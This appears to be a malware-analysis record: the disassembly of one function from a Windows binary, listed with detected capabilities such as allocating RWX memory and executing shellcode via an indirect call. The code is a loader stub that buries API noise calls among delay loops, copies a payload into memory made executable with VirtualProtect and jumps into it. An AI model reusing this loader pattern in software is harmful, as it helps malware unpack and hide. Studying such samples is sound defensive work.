Function at 0x4016e7
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x401711
inc esi
cmp esi, 0x4f672
jl 0x4016fd
mov ecx, dword [0x2c88704]
cmp ecx, 0x93
je 0x4018e1
mov eax, dword [0x42c5d0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2c8870c], eax
mov dword [0x2c88704], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x2c88708], eax
push ecx
push 0x40
push dword [0x2c88704]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x40175e
mov edx, dword [0x2c88704]
mov esi, ebx
test edx, edx
je 0x4017f0
mov eax, dword [0x2c8870c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2c88708]
mov byte [eax + esi], cl
mov edx, dword [0x2c88704]
cmp edx, 0x490
jne 0x4017eb
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push str.dotamanazonivogivalihixepaso_mawabotegetemigelijelol
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.nuzakijuhi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x830]
push eax
push str.litobo
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov edx, dword [0x2c88704]
inc esi
cmp esi, edx
jb 0x401776
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x40183c
push str.vugasacefefufuxebigifitosolayiyifufabubivulewupusareparitasuhijarogikegojeragitipozunepaxazinugukowa
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call ebx
push 0
push 0
push str.gutefesucomilayuna
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x2c88704]
inc esi
cmp esi, 0x38681
jl 0x4017f8
mov ecx, dword [0x2c88708]
push 0x42c508
call fcn.00401c7b
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x40186a
mov ecx, 0x2c88708
call fcn.004016cf
inc esi
cmp esi, 0x674db
jl 0x401857
push 0x7b
pop esi
xor edi, edi
cmp dword [0x2c88704], 0x86
jne 0x4018ad
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
call ebx
push edi
push str.mogocuxihetacaniwebawuka
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
cmp dword [0x2c88704], 0xf
jne 0x4018c0
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x401876
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2c88708]
mov dword [0x2c88710], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.durezacunakudexiwezufafoyehato
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push ebx
call fcn.0040335c
push ebx
push ebx
push ebx
push ebx
call fcn.00403598
push ebx
push ebx
call fcn.00403234
push ebx
call fcn.004023ed
push ebx
call fcn.00403296
push ebx
call fcn.004032a3
add esp, 0x28
call fcn.00403253
int3